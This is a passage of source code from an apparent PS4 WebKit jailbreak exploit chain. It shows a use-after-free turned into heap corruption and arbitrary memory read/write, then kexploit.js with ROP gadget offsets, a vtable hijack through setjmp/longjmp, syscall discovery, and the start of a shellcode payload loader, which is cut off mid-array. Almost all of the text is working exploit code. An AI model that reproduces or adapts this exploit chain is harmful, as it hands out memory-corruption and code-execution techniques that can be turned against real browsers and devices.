313 | // set SSV's refcount to 1, all other fields to 0/NULL
314 | view[0] = 1;
315 | view.fill(0, 1);
316 |
317 | if (res.length) {
318 | res[1] = [new BufferView(view.buffer), pop2];
319 | break;
320 | }
321 |
322 | // return without keeping any references to pop, making it GC-able.
323 | // its WebCore::PopStateEvent will then be freed on its death
324 | res[0] = new BufferView(view.buffer);
325 | i = num_reuses;
326 | }
327 | }
328 |
329 | if (res.length === 0) {
330 | die('failed SerializedScriptValue UaF');
331 | }
332 | return res;
333 | }
334 |
335 | class Reader {
336 | constructor(rstr, rstr_view) {
337 | this.rstr = rstr;
338 | this.rstr_view = rstr_view;
339 | this.m_data = rstr_view.read64(off.strimpl_m_data);
340 | }
341 |
342 | read8_at(offset) {
343 | return this.rstr.charCodeAt(offset);
344 | }
345 |
346 | read32_at(offset) {
347 | const str = this.rstr;
348 | return (
349 | str.charCodeAt(offset)
350 | | str.charCodeAt(offset + 1) << 8
351 | | str.charCodeAt(offset + 2) << 16
352 | | str.charCodeAt(offset + 3) << 24
353 | ) >>> 0;
354 | }
355 |
356 | read64_at(offset) {
357 | return sread64(this.rstr, offset);
358 | }
359 |
360 | read64(addr) {
361 | this.rstr_view.write64(off.strimpl_m_data, addr);
362 | return sread64(this.rstr, 0);
363 | }
364 |
365 | set_addr(addr) {
366 | this.rstr_view.write64(off.strimpl_m_data, addr);
367 | }
368 |
369 | // remember to use this to fix up the StringImpl before freeing it
370 | restore() {
371 | this.rstr_view.write64(off.strimpl_m_data, this.m_data);
372 | this.rstr_view.write32(off.strimpl_strlen, original_strlen);
373 | }
374 | }
375 |
376 | // we now have a double free on the fastMalloc heap
377 | async function make_rdr(view) {
378 | let str_wait = 0;
379 | const strs = [];
380 | const u32 = new Uint32Array(1);
381 | const u8 = new Uint8Array(u32.buffer);
382 | const marker_offset = original_strlen - 4;
383 | const pad = 'B'.repeat(marker_offset);
384 |
385 | //debug_log('start string spray');
386 | while (true) {
387 | for (let i = 0; i < num_strs; i++) {
388 | u32[0] = i;
389 | // on versions like 8.0x:
390 | // * String.fromCharCode() won't create a 8-bit string. so we use
391 | // fromCodePoint() instead
392 | // * Array.prototype.join() won't try to convert 16-bit strings to
393 | // 8-bit
394 | //
395 | // given the restrictions above, we will ensure "str" is always a
396 | // 8-bit string. you can check a WebKit source code (e.g. on 8.0x)
397 | // to see that String.prototype.repeat() will create a 8-bit string
398 | // if the repeated string's length is 1
399 | //
400 | // Array.prototype.join() calls JSC::JSStringJoiner::join(). it
401 | // returns a plain JSString (not a JSRopeString). that means we
402 | // have allocated a WTF::StringImpl with the proper size and whose
403 | // string data is inlined
404 | const str = [pad, String.fromCodePoint(...u8)].join('');
405 | strs.push(str);
406 | }
407 |
408 | if (view.read32(off.strimpl_inline_str) === 0x42424242) {
409 | view.write32(off.strimpl_strlen, 0xffffffff);
410 | break;
411 | }
412 |
413 | strs.length = 0;
414 | gc();
415 | await sleep();
416 | str_wait++;
417 | }
418 | //debug_log(`JSString reused memory at loop: ${str_wait}`);
419 |
420 | const idx = view.read32(off.strimpl_inline_str + marker_offset);
421 | //debug_log(`str index: ${hex(idx)}`);
422 | //debug_log('view:');
423 | //debug_log(view);
424 |
425 | // versions like 8.0x have a JSC::JSString that have their own m_length
426 | // field. strings consult that field instead of the m_length of their
427 | // StringImpl
428 | //
429 | // we work around this by passing the string to Error.
430 | // ErrorInstance::create() will then create a new JSString initialized from
431 | // the StringImpl of the message argument
432 | const rstr = Error(strs[idx]).message;
433 | //debug_log(`str len: ${hex(rstr.length)}`);
434 | if (rstr.length === 0xffffffff) {
435 | //debug_log('confirmed correct leaked');
436 | const addr = (
437 | view.read64(off.strimpl_m_data)
438 | .sub(off.strimpl_inline_str)
439 | );
440 | //debug_log(`view's buffer address: ${addr}`);
441 | return new Reader(rstr, view);
442 | }
443 | die("JSString wasn't modified");
444 | }
445 |
446 | // we will create a JSC::CodeBlock whose m_constantRegisters is set to an array
447 | // of JSValues whose size is ssv_len. the undefined constant is automatically
448 | // added due to reasons such as "undefined is returned by default if the
449 | // function exits without returning anything"
450 | const cons_len = ssv_len - 8*5;
451 | const bt_offset = 0;
452 | const idx_offset = ssv_len - 8*3;
453 | const strs_offset = ssv_len - 8*2;
454 | const src_part = (() => {
455 | // we user var instead of let/const since such variables always get
456 | // initialized to the NULL JSValue even if you immediately return. we will
457 | // make functions that do as little as possible in order to speed up the
458 | // exploit. m_constantRegisters will still contain the unused constants
459 | //
460 | // function foo() {
461 | // return;
462 | // let a = 1;
463 | // }
464 | //
465 | // the resulting bytecode:
466 | // bb#1
467 | // [ 0] enter
468 | // [ 1] get_scope loc4
469 | // [ 3] mov loc5, loc4
470 | // [ 6] check_traps
471 | // // this part still initializes a with the NULL JSValue
472 | // [ 7] mov loc6, (const0)
473 | // [ 10] ret Undefined(const1)
474 | // Successors: [ ]
475 | //
476 | // bb#2
477 | // [ 12] mov loc6, Int32: 1(const2)
478 | // [ 15] ret Undefined(const1)
479 | // Successors: [ ]
480 | //
481 | //
482 | // Constants:
483 | // k0 =
484 | // k1 = Undefined
485 | // k2 = Int32: 1: in source as integer
486 | let res = 'var f = 0x11223344;\n';
487 | // make unique constants that won't collide with the possible marker values
488 | for (let i = 0; i < cons_len; i += 8) {
489 | res += `var a${i} = ${num_leaks + i};\n`;
490 | }
491 | return res;
492 | })();
493 |
494 | async function leak_code_block(reader, bt_size) {
495 | const rdr = reader;
496 | const bt = [];
497 | // take into account the cell and indexing header of the immutable
498 | // butterfly
499 | for (let i = 0; i < bt_size - 0x10; i += 8) {
500 | bt.push(i);
501 | }
502 |
503 | // cache the global variable resolution
504 | const slen = ssv_len;
505 |
506 | const bt_part = `var bt = [${bt}];\nreturn bt;\n`;
507 | const part = bt_part + src_part;
508 | const cache = [];
509 | for (let i = 0; i < num_leaks; i++) {
510 | cache.push(part + `var idx = ${i};\nidx\`foo\`;`);
511 | }
512 |
513 | const chunkSize = (is_ps4 && version < 0x900) ? 128 * KB : 1 * MB;
514 | const smallPageSize = 4 * KB;
515 | const search_addr = align(rdr.m_data, chunkSize);
516 | //debug_log(`search addr: ${search_addr}`);
517 |
518 | //debug_log(`func_src:\n${cache[0]}\nfunc_src end`);
519 | //debug_log('start find CodeBlock');
520 | let winning_off = null;
521 | let winning_idx = null;
522 | let winning_f = null;
523 | let find_cb_loop = 0;
524 | // false positives
525 | let fp = 0;
526 | rdr.set_addr(search_addr);
527 | loop: while (true) {
528 | const funcs = [];
529 | for (let i = 0; i < num_leaks; i++) {
530 | const f = Function(cache[i]);
531 | // the first call allocates the CodeBlock
532 | f();
533 | funcs.push(f);
534 | }
535 |
536 | for (let p = 0; p < chunkSize; p += smallPageSize) {
537 | for (let i = p; i < p + smallPageSize; i += slen) {
538 | if (rdr.read32_at(i + 8) !== 0x11223344) {
539 | continue;
540 | }
541 |
542 | rdr.set_addr(rdr.read64_at(i + strs_offset));
543 | const m_type = rdr.read8_at(5);
544 | // make sure we're not reading the constant registers of an
545 | // UnlinkedCodeBlock. those have JSTemplateObjectDescriptors.
546 | // CodeBlock converts those to JSArrays
547 | if (m_type !== 0) {
548 | rdr.set_addr(search_addr);
549 | winning_off = i;
550 | winning_idx = rdr.read32_at(i + idx_offset);
551 | winning_f = funcs[winning_idx];
552 | break loop;
553 | }
554 | rdr.set_addr(search_addr);
555 | fp++;
556 | }
557 | }
558 |
559 | find_cb_loop++;
560 | gc();
561 | await sleep();
562 | }
563 | //debug_log(`loop ${find_cb_loop} winning_off: ${hex(winning_off)}`);
564 | //debug_log(`winning_idx: ${hex(winning_idx)} false positives: ${fp}`);
565 |
566 | //debug_log('CodeBlock.m_constantRegisters.m_buffer:');
567 | rdr.set_addr(search_addr.add(winning_off));
568 | for (let i = 0; i < slen; i += 8) {
569 | //debug_log(`${rdr.read64_at(i)} | ${hex(i)}`);
570 | }
571 |
572 | const bt_addr = rdr.read64_at(bt_offset);
573 | const strs_addr = rdr.read64_at(strs_offset);
574 | //debug_log(`immutable butterfly addr: ${bt_addr}`);
575 | //debug_log(`string array passed to tag addr: ${strs_addr}`);
576 |
577 | //debug_log('JSImmutableButterfly:');
578 | rdr.set_addr(bt_addr);
579 | for (let i = 0; i < bt_size; i += 8) {
580 | //debug_log(`${rdr.read64_at(i)} | ${hex(i)}`);
581 | }
582 |
583 | //debug_log('string array:');
584 | rdr.set_addr(strs_addr);
585 | for (let i = 0; i < off.size_jsobj; i += 8) {
586 | //debug_log(`${rdr.read64_at(i)} | ${hex(i)}`);
587 | }
588 |
589 | return [winning_f, bt_addr, strs_addr];
590 | }
591 |
592 | // data to write to the SerializedScriptValue
593 | //
594 | // setup to make deserialization create an ArrayBuffer with an arbitrary buffer
595 | // address
596 | function make_ssv_data(ssv_buf, view, view_p, addr, size) {
597 | // sizeof JSC::ArrayBufferContents
598 | const size_abc = (() => {
599 | if (is_ps4) {
600 | return version >= 0x900 ? 0x18 : 0x20;
601 | } else {
602 | return version >= 0x300 ? 0x18 : 0x20;
603 | }
604 | })();
605 |
606 | const data_len = 9;
607 | // sizeof WTF::Vector
608 | const size_vector = 0x10;
609 |
610 | // SSV offsets
611 | const off_m_data = 8;
612 | const off_m_abc = 0x18;
613 | // view offsets
614 | const voff_vec_abc = 0; // Vector
615 | const voff_abc = voff_vec_abc + size_vector; // ArrayBufferContents
616 | const voff_data = voff_abc + size_abc;
617 |
618 | // WTF::Vector
619 | // write m_data
620 | // m_buffer
621 | ssv_buf.write64(off_m_data, view_p.add(voff_data));
622 | // m_capacity
623 | ssv_buf.write32(off_m_data + 8, data_len);
624 | // m_size
625 | ssv_buf.write64(off_m_data + 0xc, data_len);
626 |
627 | // 6 is the serialization format version number for ps4 6.00. The format
628 | // is backwards compatible and using a value less than the current version
629 | // number used by a specific WebKit version is considered valid.
630 | //
631 | // See CloneDeserializer::isValid() from
632 | // WebKit/Source/WebCore/bindings/js/SerializedScriptValue.cpp at PS4 8.0x.
633 | const CurrentVersion = 6;
634 | const ArrayBufferTransferTag = 23;
635 | view.write32(voff_data, CurrentVersion);
636 | view[voff_data + 4] = ArrayBufferTransferTag;
637 | view.write32(voff_data + 5, 0);
638 |
639 | // std::unique_ptr>
640 | // write m_arrayBufferContentsArray
641 | ssv_buf.write64(off_m_abc, view_p.add(voff_vec_abc));
642 | // write WTF::Vector
643 | view.write64(voff_vec_abc, view_p.add(voff_abc));
644 | view.write32(voff_vec_abc + 8, 1);
645 | view.write32(voff_vec_abc + 0xc, 1);
646 |
647 | if (size_abc === 0x20) {
648 | // m_destructor, offset 0, leave as 0
649 | // m_shared, offset 8, leave as 0
650 | // m_data
651 | view.write64(voff_abc + 0x10, addr);
652 | // m_sizeInBytes
653 | view.write32(voff_abc + 0x18, size);
654 | } else {
655 | // m_data
656 | view.write64(voff_abc + 0, addr);
657 | // m_destructor (48 bits), offset 8, leave as 0
658 | // m_shared (48 bits), offset 0xe, leave as 0
659 | // m_sizeInBytes
660 | view.write32(voff_abc + 0x14, size);
661 | }
662 | }
663 |
664 | async function make_arw(reader, view2, pop) {
665 | const rdr = reader;
666 |
667 | // we have to align the fake object to atomSize (16) else the process
668 | // crashes. we don't know why
669 | //
670 | // since cells (GC memory chunks) are always aligned to atomSize, there
671 | // might be code that's assuming that all GC pointers are aligned
672 | //
673 | // see atomSize from WebKit/Source/JavaScriptCore/heap/MarkedBlock.h at
674 | // PS4 8.0x
675 | const fakeobj_off = 0x20;
676 | const fakebt_base = fakeobj_off + off.size_jsobj;
677 | // sizeof JSC::IndexingHeader
678 | const indexingHeader_size = 8;
679 | // sizeof JSC::ArrayStorage
680 | const arrayStorage_size = 0x18;
681 | // there's only the .raw property
682 | const propertyStorage = 8;
683 | const fakebt_off = fakebt_base + indexingHeader_size + propertyStorage;
684 |
685 | //debug_log('STAGE: leak CodeBlock');
686 | // has too be greater than 0x10. the size of JSImmutableButterfly
687 | const bt_size = 0x10 + fakebt_off + arrayStorage_size;
688 | const [func, bt_addr, strs_addr] = await leak_code_block(rdr, bt_size);
689 |
690 | const view = rdr.rstr_view;
691 | const view_p = rdr.m_data.sub(off.strimpl_inline_str);
692 | const view_save = new Uint8Array(view);
693 |
694 | view.fill(0);
695 | make_ssv_data(view2, view, view_p, bt_addr, bt_size);
696 |
697 | const bt = new BufferView(pop.state);
698 | view.set(view_save);
699 |
700 | //debug_log('ArrayBuffer pointing to JSImmutableButterfly:');
701 | for (let i = 0; i < bt.byteLength; i += 8) {
702 | //debug_log(`${bt.read64(i)} | ${hex(i)}`);
703 | }
704 |
705 | // the immutable butterfly's indexing header. zero out the fields to
706 | // prevent the GC from scanning our writes
707 | bt.write32(8, 0);
708 | bt.write32(0xc, 0);
709 |
710 | const val_true = 7; // JSValue of "true"
711 | const strs_cell = rdr.read64(strs_addr);
712 |
713 | bt.write64(fakeobj_off, strs_cell);
714 | bt.write64(fakeobj_off + off.js_butterfly, bt_addr.add(fakebt_off));
715 |
716 | // since .raw is the first ever created property, it's just besides the
717 | // indexing header
718 | bt.write64(fakebt_off - 0x10, val_true);
719 | // indexing header's publicLength and vectorLength
720 | bt.write32(fakebt_off - 8, 1);
721 | bt.write32(fakebt_off - 8 + 4, 1);
722 |
723 | // custom ArrayStorage that allows read/write to index 0. we have to use an
724 | // ArrayStorage because the structure assigned to the structure id expects
725 | // one so visitButterfly() will crash if we try to fake the object with a
726 | // regular butterfly
727 |
728 | // m_sparseMap
729 | bt.write64(fakebt_off, 0);
730 | // m_indexBias
731 | bt.write32(fakebt_off + 8, 0);
732 | // m_numValuesInVector
733 | bt.write32(fakebt_off + 0xc, 1);
734 |
735 | // m_vector[0]
736 | bt.write64(fakebt_off + 0x10, val_true);
737 |
738 | // immutable_butterfly[0] = fakeobj;
739 | bt.write64(0x10, bt_addr.add(fakeobj_off));
740 |
741 | // the GC can scan index 0 now
742 | bt.write32(8, 1);
743 | bt.write32(0xc, 1);
744 |
745 | const fake = func()[0];
746 | //debug_log(`fake.raw: ${fake.raw}`);
747 | //debug_log(`fake[0]: ${fake[0]}`);
748 | //debug_log(`fake: [${fake}]`);
749 |
750 | const test_val = 3;
751 | //debug_log(`test setting fake[0] to ${test_val}`);
752 | fake[0] = test_val;
753 | if (fake[0] !== test_val) {
754 | die(`unexpected fake[0]: ${fake[0]}`);
755 | }
756 |
757 | function addrof(obj) {
758 | fake[0] = obj;
759 | return bt.read64(fakebt_off + 0x10);
760 | }
761 |
762 | // m_mode = WastefulTypedArray, allocated buffer on the fastMalloc heap,
763 | // unlike FastTypedArray, where the buffer is managed by the GC. This
764 | // prevents random crashes.
765 | //
766 | // See JSGenericTypedArrayView::visitChildren() from
767 | // WebKit/Source/JavaScriptCore/runtime/JSGenericTypedArrayViewInlines.h at
768 | // PS4 8.0x.
769 | const worker = new DataView(new ArrayBuffer(1));
770 | const main_template = new Uint32Array(new ArrayBuffer(off.size_view));
771 |
772 | const leaker = {addr: null, foo: 0x6161};
773 |
774 | const worker_p = addrof(worker);
775 | const main_p = addrof(main_template);
776 | const leaker_p = addrof(leaker);
777 |
778 | // we'll fake objects using a JSArrayBufferView whose m_mode is
779 | // FastTypedArray. it's safe to use its buffer since it's GC-allocated. the
780 | // current fastSizeLimit is 1000. if the length is less than or equal to
781 | // that, we get a FastTypedArray
782 | const scaled_sview = off.size_view / 4;
783 | const faker = new Uint32Array(scaled_sview);
784 | const faker_p = addrof(faker);
785 | const faker_vector = rdr.read64(faker_p.add(off.view_m_vector));
786 |
787 | const vector_idx = off.view_m_vector / 4;
788 | const length_idx = off.view_m_length / 4;
789 | const mode_idx = off.view_m_mode / 4;
790 | const bt_idx = off.js_butterfly / 4;
791 |
792 | // fake a Uint32Array using GC memory
793 | faker[vector_idx] = worker_p.low;
794 | faker[vector_idx + 1] = worker_p.high;
795 | faker[length_idx] = scaled_sview;
796 |
797 | rdr.set_addr(main_p);
798 | faker[mode_idx] = rdr.read32_at(off.view_m_mode);
799 | // JSCell
800 | faker[0] = rdr.read32_at(0);
801 | faker[1] = rdr.read32_at(4);
802 | faker[bt_idx] = rdr.read32_at(off.js_butterfly);
803 | faker[bt_idx + 1] = rdr.read32_at(off.js_butterfly + 4);
804 |
805 | // fakeobj()
806 | bt.write64(fakebt_off + 0x10, faker_vector);
807 | const main = fake[0];
808 |
809 | //debug_log('main (pointing to worker):');
810 | for (let i = 0; i < off.size_view; i += 8) {
811 | const idx = i / 4;
812 | //debug_log(`${new Int(main[idx], main[idx + 1])} | ${hex(i)}`);
813 | }
814 |
815 | new Memory(main, worker, leaker, leaker_p.add(off.js_inline_prop));
816 | //debug_log('achieved arbitrary r/w');
817 | window.p = {
818 | read1(addr) {
819 | addr = new Int(addr.low, addr.hi);
820 | const res = mem.read8(addr);
821 | return res;
822 | },
823 |
824 | read2(addr) {
825 | addr = new Int(addr.low, addr.hi);
826 | const res = mem.read16(addr);
827 | return res;
828 | },
829 |
830 | read4(addr) {
831 | addr = new Int(addr.low, addr.hi);
832 | const res = mem.read32(addr);
833 | return res;
834 | },
835 |
836 | read8(addr) {
837 | addr = new Int(addr.low, addr.hi);
838 | const res = mem.read64(addr);
839 | return new int64(res.low, res.high);
840 | },
841 |
842 | write1(addr, value) {
843 | addr = new Int(addr.low, addr.hi);
844 | mem.write8(addr, value);
845 | },
846 |
847 | write2(addr, value) {
848 | addr = new Int(addr.low, addr.hi);
849 | mem.write16(addr, value);
850 | },
851 |
852 | write4(addr, value) {
853 | addr = new Int(addr.low, addr.hi);
854 | mem.write32(addr, value);
855 | },
856 |
857 | write8(addr, value) {
858 | addr = new Int(addr.low, addr.hi);
859 | if (value instanceof int64) {
860 | value = new Int(value.low, value.hi);
861 | mem.write64(addr, value);
862 | } else {
863 | mem.write64(addr, new Int(value));
864 | }
865 |
866 | },
867 |
868 | leakval(obj) {
869 | const res = mem.addrof(obj);
870 | return new int64(res.low, res.high);
871 | }
872 | };
873 |
874 |
875 |
876 | rdr.restore();
877 | // set the refcount to a high value so we don't free the memory, view's
878 | // death will already free it (a StringImpl is currently using the memory)
879 | view.write32(0, -1);
880 | // ditto (a SerializedScriptValue is currently using the memory)
881 | view2.write32(0, -1);
882 | // we don't want its death to call fastMalloc free() on GC memory
883 | make_arw._buffer = bt.buffer;
884 | }
885 |
886 | async function main() {
887 | const t1 = performance.now();
888 | //debug_log('STAGE: UaF SSV');
889 | const [fsets, indices] = prepare_uaf()
890 | const [view, [view2, pop]] = await uaf_ssv(fsets, indices[1], indices[0]);
891 |
892 | //debug_log('STAGE: get string relative read primitive');
893 | const rdr = await make_rdr(view);
894 |
895 | for (const fset of fsets) {
896 | fset.rows = '';
897 | fset.cols = '';
898 | }
899 |
900 | //debug_log('STAGE: achieve arbitrary read/write primitive');
901 | await make_arw(rdr, view2, pop);
902 | //alert((performance.now() - t1) / 1000);
903 |
904 | run_hax();
905 | }
906 | main();
907 |
--------------------------------------------------------------------------------
/kexploit.js:
--------------------------------------------------------------------------------
1 | var chain;
2 | var kchain;
3 | var kchain2;
4 | var SAVED_KERNEL_STACK_PTR;
5 | var KERNEL_BASE_PTR;
6 |
7 | var webKitBase;
8 | var webKitRequirementBase;
9 |
10 | var libSceLibcInternalBase;
11 | var libKernelBase;
12 |
13 | var textArea = document.createElement("textarea");
14 |
15 | const OFFSET_wk_vtable_first_element = 0x104F110;
16 | const OFFSET_WK_memset_import = 0x000002A8;
17 | const OFFSET_WK___stack_chk_fail_import = 0x00000178;
18 | const OFFSET_WK_psl_builtin_import = 0xD68;
19 |
20 | const OFFSET_WKR_psl_builtin = 0x33BA0;
21 |
22 | const OFFSET_WK_setjmp_gadget_one = 0x0106ACF7;
23 | const OFFSET_WK_setjmp_gadget_two = 0x01ECE1D3;
24 | const OFFSET_WK_longjmp_gadget_one = 0x0106ACF7;
25 | const OFFSET_WK_longjmp_gadget_two = 0x01ECE1D3;
26 |
27 | const OFFSET_libcint_memset = 0x0004F810;
28 | const OFFSET_libcint_setjmp = 0x000BB5BC;
29 | const OFFSET_libcint_longjmp = 0x000BB616;
30 |
31 | const OFFSET_WK2_TLS_IMAGE = 0x38e8020;
32 |
33 |
34 | const OFFSET_lk___stack_chk_fail = 0x0001FF60;
35 | const OFFSET_lk_pthread_create = 0x00025510;
36 | const OFFSET_lk_pthread_join = 0x0000AFA0;
37 |
38 | var nogc = [];
39 | var syscalls = {};
40 | var gadgets = {};
41 | var wk_gadgetmap = {
42 | "ret": 0x32,
43 | "pop rdi": 0x319690,
44 | "pop rsi": 0x1F4D6,
45 | "pop rdx": 0x986C,
46 | "pop rcx": 0x657B7,
47 | "pop r8": 0xAFAA71,
48 | "pop r9": 0x422571,
49 | "pop rax": 0x51A12,
50 | "pop rsp": 0x4E293,
51 |
52 | "mov [rdi], rsi": 0x1A97920,
53 | "mov [rdi], rax": 0x10788F7,
54 | "mov [rdi], eax": 0x9964BC,
55 |
56 | "cli ; pop rax": 0x566F8,
57 | "sti": 0x1FBBCC,
58 |
59 | "mov rax, [rax]": 0x241CC,
60 | "mov rax, [rsi]": 0x5106A0,
61 | "mov [rax], rsi": 0x1EFD890,
62 | "mov [rax], rdx": 0x1426A82,
63 | "mov [rax], edx": 0x3B7FE4,
64 | "add rax, rsi": 0x170397E,
65 | "mov rdx, rax": 0x53F501,
66 | "add rax, rcx": 0x2FBCD,
67 | "mov rsp, rdi": 0x2048062,
68 | "mov rdi, [rax + 8] ; call [rax]": 0x751EE7,
69 | "infloop": 0x7DFF,
70 |
71 | "mov [rax], cl": 0xC6EAF,
72 | };
73 |
74 | var wkr_gadgetmap = {
75 | "xchg rdi, rsp ; call [rsi - 0x79]": 0x1d74f0 //JOP 3
76 | };
77 |
78 | var wk2_gadgetmap = {
79 | "mov [rax], rdi": 0xFFDD7,
80 | "mov [rax], rcx": 0x2C9ECA,
81 | "mov [rax], cx": 0x15A7D52,
82 | };
83 | var hmd_gadgetmap = {
84 | "add [r8], r12": 0x2BCE1
85 | };
86 | var ipmi_gadgetmap = {
87 | "mov rcx, [rdi] ; mov rsi, rax ; call [rcx + 0x30]": 0x344B
88 | };
89 |
90 | function userland() {
91 |
92 | //RW -> ROP method is strongly based off of:
93 | //https://github.com/Cryptogenic/PS4-6.20-WebKit-Code-Execution-Exploit
94 |
95 | p.launch_chain = launch_chain;
96 | p.malloc = malloc;
97 | p.malloc32 = malloc32;
98 | p.stringify = stringify;
99 | p.array_from_address = array_from_address;
100 | p.readstr = readstr;
101 |
102 | //pointer to vtable address
103 | var textAreaVtPtr = p.read8(p.leakval(textArea).add32(0x18));
104 | //address of vtable
105 | var textAreaVtable = p.read8(textAreaVtPtr);
106 | //use address of 1st entry (in .text) to calculate webkitbase
107 | webKitBase = p.read8(textAreaVtable).sub32(OFFSET_wk_vtable_first_element);
108 |
109 | libSceLibcInternalBase = p.read8(get_jmptgt(webKitBase.add32(OFFSET_WK_memset_import)));
110 | libSceLibcInternalBase.sub32inplace(OFFSET_libcint_memset);
111 |
112 | libKernelBase = p.read8(get_jmptgt(webKitBase.add32(OFFSET_WK___stack_chk_fail_import)));
113 | libKernelBase.sub32inplace(OFFSET_lk___stack_chk_fail);
114 |
115 | webKitRequirementBase = p.read8(get_jmptgt(webKitBase.add32(OFFSET_WK_psl_builtin_import)));
116 | webKitRequirementBase.sub32inplace(OFFSET_WKR_psl_builtin);
117 |
118 | for (var gadget in wk_gadgetmap) {
119 | window.gadgets[gadget] = webKitBase.add32(wk_gadgetmap[gadget]);
120 | }
121 | for (var gadget in wkr_gadgetmap) {
122 | window.gadgets[gadget] = webKitRequirementBase.add32(wkr_gadgetmap[gadget]);
123 | }
124 |
125 | function get_jmptgt(address) {
126 | var instr = p.read4(address) & 0xFFFF;
127 | var offset = p.read4(address.add32(2));
128 | if (instr != 0x25FF) {
129 | return 0;
130 | }
131 | return address.add32(0x6 + offset);
132 | }
133 |
134 | function malloc(sz) {
135 | var backing = new Uint8Array(0x10000 + sz);
136 | window.nogc.push(backing);
137 | var ptr = p.read8(p.leakval(backing).add32(0x10));
138 | ptr.backing = backing;
139 | return ptr;
140 | }
141 |
142 | function malloc32(sz) {
143 | var backing = new Uint8Array(0x10000 + sz * 4);
144 | window.nogc.push(backing);
145 | var ptr = p.read8(p.leakval(backing).add32(0x10));
146 | ptr.backing = new Uint32Array(backing.buffer);
147 | return ptr;
148 | }
149 |
150 | function array_from_address(addr, size) {
151 | var og_array = new Uint32Array(0x1000);
152 | var og_array_i = p.leakval(og_array).add32(0x10);
153 |
154 | p.write8(og_array_i, addr);
155 | p.write4(og_array_i.add32(0x8), size);
156 | p.write4(og_array_i.add32(0xC), 0x1);
157 |
158 | nogc.push(og_array);
159 | return og_array;
160 | }
161 |
162 | function stringify(str) {
163 | var bufView = new Uint8Array(str.length + 1);
164 | for (var i = 0; i < str.length; i++) {
165 | bufView[i] = str.charCodeAt(i) & 0xFF;
166 | }
167 | window.nogc.push(bufView);
168 | return p.read8(p.leakval(bufView).add32(0x10));
169 | }
170 |
171 | function readstr(addr) {
172 | var str = "";
173 | for (var i = 0;; i++) {
174 | var c = p.read1(addr.add32(i));
175 | if (c == 0x0) {
176 | break;
177 | }
178 | str += String.fromCharCode(c);
179 |
180 | }
181 | return str;
182 | }
183 |
184 | var fakeVtable_setjmp = p.malloc32(0x200);
185 | var fakeVtable_longjmp = p.malloc32(0x200);
186 | var original_context = p.malloc32(0x40);
187 | var modified_context = p.malloc32(0x40);
188 |
189 | p.write8(fakeVtable_setjmp.add32(0x0), fakeVtable_setjmp);
190 | p.write8(fakeVtable_setjmp.add32(0xA8), webKitBase.add32(OFFSET_WK_setjmp_gadget_two)); // mov rdi, qword ptr [rdi + 0x10] ; jmp qword ptr [rax + 8]
191 | p.write8(fakeVtable_setjmp.add32(0x10), original_context);
192 | p.write8(fakeVtable_setjmp.add32(0x8), libSceLibcInternalBase.add32(OFFSET_libcint_setjmp));
193 | p.write8(fakeVtable_setjmp.add32(0x1C8), webKitBase.add32(OFFSET_WK_setjmp_gadget_one)); // mov rax, qword ptr [rcx]; mov rdi, rcx; jmp qword ptr [rax + 0xA8]
194 |
195 | p.write8(fakeVtable_longjmp.add32(0x0), fakeVtable_longjmp);
196 | p.write8(fakeVtable_longjmp.add32(0xA8), webKitBase.add32(OFFSET_WK_longjmp_gadget_two)); // mov rdi, qword ptr [rdi + 0x10] ; jmp qword ptr [rax + 8]
197 | p.write8(fakeVtable_longjmp.add32(0x10), modified_context);
198 | p.write8(fakeVtable_longjmp.add32(0x8), libSceLibcInternalBase.add32(OFFSET_libcint_longjmp));
199 | p.write8(fakeVtable_longjmp.add32(0x1C8), webKitBase.add32(OFFSET_WK_longjmp_gadget_one)); // mov rax, qword ptr [rcx]; mov rdi, rcx; jmp qword ptr [rax + 0xA8]
200 |
201 | function launch_chain(chain) {
202 | chain.push(window.gadgets["pop rdi"]);
203 | chain.push(original_context);
204 | chain.push(libSceLibcInternalBase.add32(OFFSET_libcint_longjmp));
205 |
206 | p.write8(textAreaVtPtr, fakeVtable_setjmp);
207 | textArea.scrollLeft = 0x0;
208 | p.write8(modified_context.add32(0x00), window.gadgets["ret"]);
209 | p.write8(modified_context.add32(0x10), chain.stack);
210 | p.write8(modified_context.add32(0x40), p.read8(original_context.add32(0x40)))
211 |
212 | p.write8(textAreaVtPtr, fakeVtable_longjmp);
213 | textArea.scrollLeft = 0x0;
214 | p.write8(textAreaVtPtr, textAreaVtable);
215 | }
216 |
217 | var kview = new Uint8Array(0x1000);
218 | var kstr = p.leakval(kview).add32(0x10);
219 | var orig_kview_buf = p.read8(kstr);
220 |
221 | p.write8(kstr, window.libKernelBase);
222 | p.write4(kstr.add32(8), 0x40000);
223 | var countbytes;
224 |
225 | for (var i = 0; i < 0x40000; i++) {
226 | if (kview[i] == 0x72 && kview[i + 1] == 0x64 && kview[i + 2] == 0x6c && kview[i + 3] == 0x6f && kview[i + 4] == 0x63) {
227 | countbytes = i;
228 | break;
229 | }
230 | }
231 | p.write4(kstr.add32(8), countbytes + 32);
232 | var dview32 = new Uint32Array(1);
233 | var dview8 = new Uint8Array(dview32.buffer);
234 | for (var i = 0; i < countbytes; i++) {
235 | if (kview[i] == 0x48 && kview[i + 1] == 0xc7 && kview[i + 2] == 0xc0 && kview[i + 7] == 0x49 && kview[i + 8] == 0x89 && kview[i + 9] == 0xca && kview[i + 10] == 0x0f && kview[i + 11] == 0x05) {
236 | dview8[0] = kview[i + 3];
237 | dview8[1] = kview[i + 4];
238 | dview8[2] = kview[i + 5];
239 | dview8[3] = kview[i + 6];
240 | var syscallno = dview32[0];
241 | window.syscalls[syscallno] = window.libKernelBase.add32(i);
242 | }
243 | }
244 | p.write8(kstr, orig_kview_buf);
245 |
246 | chain = new rop();
247 |
248 | //Sanity check
249 | if (chain.syscall(20).low == 0) {
250 | alert("webkit exploit failed. Try again if your ps4 is on fw 9.00.");
251 | while (1);
252 | }
253 | }
254 |
255 | function run_hax() {
256 | userland();
257 | if (chain.syscall(23, 0).low != 0x0) {
258 | kernel();
259 | //this wk exploit is pretty stable we can probably afford to kill webkit before payload loader but should we?.
260 | //p.write8(0x0, 0x0); //write to 0x0 -> kill browser.
261 | }
262 |
263 | var payload_buffer = chain.syscall(477, 0x0, 0x300000, 0x7, 0x1000, 0xFFFFFFFF, 0);
264 | var payload_loader = p.malloc32(0x1000);
265 |
266 | //NOTE: You can replace this with a payload instead of the loader.
267 | //You would need to create an array view of payload_buffer to do that. (var payload_writer = p.array_from_address(payload_buffer);)
268 | //And other ways, ....
269 |
270 | //This is x86_64 asm, you can disassemble it* if you want to know what the payload loader does under the hood. (* will need to account for endianness)
271 | var loader_writer = payload_loader.backing;
272 | loader_writer[0] = 0x56415741;
273 | loader_writer[1] = 0x83485541;
274 | loader_writer[2] = 0x894818EC;
